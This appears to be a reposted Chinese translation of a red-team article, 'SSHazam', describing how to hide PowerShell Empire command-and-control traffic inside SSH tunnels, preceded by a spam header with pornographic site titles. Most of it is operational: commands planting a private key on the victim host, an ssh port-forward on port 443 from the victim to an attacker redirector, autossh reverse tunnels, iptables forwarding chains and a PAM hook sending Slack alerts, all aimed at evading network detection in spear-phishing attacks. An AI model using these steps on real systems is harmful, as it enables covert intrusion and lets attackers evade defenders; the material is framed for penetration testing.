压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

SSHazam:如何利用SSH隧道實(shí)現(xiàn)隱蔽C2通信

一、前言

我們可以使用SSHazam在標(biāo)準(zhǔn)的SSH隧道中運(yùn)行各種C2工具,避免網(wǎng)絡(luò)行為被檢測(cè)。在本文中,我們以PowerShell Empire為例,連接至受害主機(jī)上的某個(gè)localhost端口。本地端口通過SSH連接轉(zhuǎn)發(fā)至遠(yuǎn)程Empire服務(wù)器,因此環(huán)境中只能看到SSH網(wǎng)絡(luò)通信流量。受害主機(jī)搭載OS X系統(tǒng),但我們也可以在Windows上使用Plink.exePutty工具集中的一款工具)來使用這種技術(shù)。

二、搭建隧道

如上圖所示,受害主機(jī)系統(tǒng)上的SSH隧道正在5430端口上監(jiān)聽,會(huì)將收到的所有數(shù)據(jù)轉(zhuǎn)發(fā)至Empire服務(wù)器(empire-server)。Empire服務(wù)器在localhost的同一端口上(127.0.0.1:5430)監(jiān)聽Empire入站連接。為了讓SSH流量更加隱蔽,我們的SSH服務(wù)器在443端口上監(jiān)聽(而非標(biāo)準(zhǔn)的22端口)。記得修改SSH配置文件中的監(jiān)聽端口,此外也要修改與服務(wù)商的防火墻規(guī)則,放行該端口上的流量。

在建立隧道之前,我們需要在受害主機(jī)系統(tǒng)上創(chuàng)建或者復(fù)制一個(gè)私鑰,并將對(duì)應(yīng)的公鑰添加到Empire服務(wù)器上的authorized_keys文件中,以便成功建立SSH連接。在本文案例中,受害主機(jī)上的私鑰文件路徑為~/.ssh/.do.key。我們可以在命令行中輸入如下命令完成這些操作(這里省略了部分?jǐn)?shù)據(jù),記得補(bǔ)全):

mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key

為了避免其他人訪問私鑰,在Empire服務(wù)器上執(zhí)行其他操作,我們可以適當(dāng)更改配置。我們可以編輯/etc/passwd,將登錄shell修改為/bin/false。

victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false

現(xiàn)在我們可以開始配置PowerShell Empire或者自己的C2在127.0.0.1:5430上監(jiān)聽,即使我們使用了類似域前置(domain fronting)之類的復(fù)雜配置,也能使用這種技術(shù)。

就這么簡(jiǎn)單,我們所有的C2流量已經(jīng)可以隱藏在加密SSH隧道內(nèi)部,無需擔(dān)心C2流量觸發(fā)基于網(wǎng)絡(luò)特征的檢測(cè)機(jī)制。

三、本地化方案

這種技術(shù)非常簡(jiǎn)單,便于使用,可能在容易觸發(fā)警報(bào)的場(chǎng)景中順利獲得C2會(huì)話。然而我們可能不希望將客戶的敏感數(shù)據(jù)托管在不屬于我們的云端上。在這種情況下,我們需要?jiǎng)?chuàng)建其他重定向節(jié)點(diǎn),將云端流量重定向到自己網(wǎng)絡(luò)中的某個(gè)系統(tǒng)。這種操作更為復(fù)雜,但無需擔(dān)心,解決方案如下所示:

C2連接通過SSH隧道轉(zhuǎn)發(fā)至empire-redirector,而empire-redirector上的防火墻規(guī)則將流量轉(zhuǎn)發(fā)至另一個(gè)中間轉(zhuǎn)發(fā)節(jié)點(diǎn)(redirector)。最后,我們自己的系統(tǒng)(in-house)將與最終的轉(zhuǎn)發(fā)節(jié)點(diǎn)建立一個(gè)反向SSH連接,準(zhǔn)備接收Empire C2會(huì)話。

在受害主機(jī)上運(yùn)行的SSH命令如下所示:

ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431

in-house這個(gè)可靠系統(tǒng)上運(yùn)行的SSH命令如下所示:

autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com

我們首先需要安裝autossh,這一步非常重要,可以保證隧道能保持長(zhǎng)時(shí)間運(yùn)行。

empire-redirector上的IP Table規(guī)則如下:

iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1

以上規(guī)則可以將543065535端口上的流量轉(zhuǎn)發(fā)至最終的轉(zhuǎn)發(fā)節(jié)點(diǎn)上,因此我們可以在這個(gè)范圍內(nèi),為每個(gè)受害者分配獨(dú)立的端口。

redirector上的IP Table規(guī)則如下所示:

sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433

以上操作雖然有點(diǎn)復(fù)雜,但可以滿足我們的需求,無需將敏感數(shù)據(jù)存放在云端上。

此外,當(dāng)SSH建連成功時(shí),我們還想通過slack獲得事件通知。我們可以在empire-redirector上的/etc/pam.d/sshd文件中添加如下內(nèi)容,這樣每當(dāng)SSH成功建連時(shí),就會(huì)運(yùn)行我們的slack通知腳本。

session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open

session optional pam_exec.so /home/root/ssh-slack-alert.sh

我所使用的slack通知腳本如下所示:

#!/usr/bin/env bash

if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"

curl -X POST \
  --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
 https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi

注意,在這個(gè)較為復(fù)雜的場(chǎng)景中,每次只能允許一個(gè)受害者連接,除非每個(gè)受害者在empire-redirector上使用的都是不同的端口,并且使用了單獨(dú)的私鑰。這一點(diǎn)比較煩人,但在針對(duì)性較高的魚叉式釣魚攻擊場(chǎng)景中效果很好。

原文地址:https://www.blackhillsinfosec.com/sshazam-hide-your-c2-inside-of-ssh/

 

上一篇:結(jié)合Oauth的XSS利用技術(shù)

下一篇:“安全+”沙龍第十四期在上海成功舉辦/1月4日